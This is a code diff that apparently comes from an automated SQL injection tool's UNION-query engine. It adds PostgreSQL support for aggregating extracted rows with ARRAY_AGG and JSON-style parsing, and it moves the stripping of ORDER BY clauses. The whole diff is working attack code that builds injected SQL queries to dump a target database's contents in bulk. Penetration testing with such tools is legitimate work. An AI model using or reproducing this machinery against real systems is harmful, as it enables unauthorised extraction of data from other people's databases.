@@ -135,16 +135,22 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
135135 else :
136136 retVal = getUnicode (retVal )
137137 elif kb .jsonAggMode :
138- output = extractRegexResult (r"(?P<result>%s.*?%s)" % (kb .chars .start , kb .chars .stop ), page or "" )
139- if output :
140- try :
141- retVal = ""
142- for row in json .loads (output [len (kb .chars .start ):- len (kb .chars .stop )]):
143- retVal += "%s%s%s" % (kb .chars .start , row , kb .chars .stop )
144- except :
145- pass
146- else :
147- retVal = getUnicode (retVal )
138+ if Backend .isDbms (DBMS .PGSQL ):
139+ output = extractRegexResult (r"(?P<result>%s.*%s)" % (kb .chars .start , kb .chars .stop ), page or "" )
140+ if output :
141+ retVal = output
142+ else :
143+ output = extractRegexResult (r"(?P<result>%s.*?%s)" % (kb .chars .start , kb .chars .stop ), page or "" )
144+ if output :
145+ output = output [len (kb .chars .start ):- len (kb .chars .stop )]
146+ try :
147+ retVal = ""
148+ for row in json .loads (output ):
149+ retVal += "%s%s%s" % (kb .chars .start , row , kb .chars .stop )
150+ except :
151+ pass
152+ else :
153+ retVal = getUnicode (retVal )
148154 else :
149155 # Parse the returned page to get the exact UNION-based
150156 # SQL injection output
@@ -248,16 +254,24 @@ def unionUse(expression, unpack=True, dump=False):
248254 # Set kb.partRun in case the engine is called from the API
249255 kb .partRun = getPartRun (alias = False ) if conf .api else None
250256
251- if Backend .getIdentifiedDbms () in (DBMS .MYSQL , DBMS .ORACLE ) and expressionFields :
257+ if expressionFieldsList and len (expressionFieldsList ) > 1 and "ORDER BY" in expression .upper ():
258+ # Removed ORDER BY clause because UNION does not play well with it
259+ expression = re .sub (r"(?i)\s*ORDER BY\s+[\w,]+" , "" , expression )
260+ debugMsg = "stripping ORDER BY clause from statement because "
261+ debugMsg += "it does not play well with UNION query SQL injection"
262+ singleTimeDebugMessage (debugMsg )
263+
264+ if Backend .getIdentifiedDbms () in (DBMS .MYSQL , DBMS .ORACLE , DBMS .PGSQL ) and expressionFields :
252265 match = re .search (r"SELECT\s*(.+?)\bFROM" , expression , re .I )
253266 if match and not (Backend .isDbms (DBMS .ORACLE ) and FROM_DUMMY_TABLE [DBMS .ORACLE ] in expression ):
254267 kb .jsonAggMode = True
255268 if Backend .isDbms (DBMS .MYSQL ):
256- _ = expression .replace (expressionFields , "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb .chars .start , kb .chars .delimiter , expressionFields , kb .chars .stop ), 1 )
257- else :
258- _ = expression .replace (expressionFields , "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb .chars .start , ("||'%s'||" % kb .chars .delimiter ).join (expressionFieldsList ), kb .chars .stop ), 1 )
259- _ = re .sub (r"(?i)\s*ORDER BY ROWNUM" , "" , _ )
260- output = _oneShotUnionUse (_ , False )
269+ query = expression .replace (expressionFields , "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb .chars .start , kb .chars .delimiter , expressionFields , kb .chars .stop ), 1 )
270+ elif Backend .isDbms (DBMS .ORACLE ):
271+ query = expression .replace (expressionFields , "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb .chars .start , ("||'%s'||" % kb .chars .delimiter ).join (expressionFieldsList ), kb .chars .stop ), 1 )
272+ elif Backend .isDbms (DBMS .PGSQL ):
273+ query = expression .replace (expressionFields , "ARRAY_AGG('%s'||%s||'%s')::text" % (kb .chars .start , ("||'%s'||" % kb .chars .delimiter ).join ("COALESCE(%s::text,' ')" % field for field in expressionFieldsList ), kb .chars .stop ), 1 )
274+ output = _oneShotUnionUse (query , False )
261275 value = parseUnionPage (output )
262276 kb .jsonAggMode = False
263277 elif Backend .isDbms (DBMS .MSSQL ) and kb .dumpColumns :
@@ -267,13 +281,6 @@ def unionUse(expression, unpack=True, dump=False):
267281 value = parseUnionPage (output )
268282 kb .rowXmlMode = False
269283
270- if expressionFieldsList and len (expressionFieldsList ) > 1 and "ORDER BY" in expression .upper ():
271- # Removed ORDER BY clause because UNION does not play well with it
272- expression = re .sub (r"(?i)\s*ORDER BY\s+[\w,]+" , "" , expression )
273- debugMsg = "stripping ORDER BY clause from statement because "
274- debugMsg += "it does not play well with UNION query SQL injection"
275- singleTimeDebugMessage (debugMsg )
276-
277284 # We have to check if the SQL query might return multiple entries
278285 # if the technique is partial UNION query and in such case forge the
279286 # SQL limiting the query output one entry at a time
0 commit comments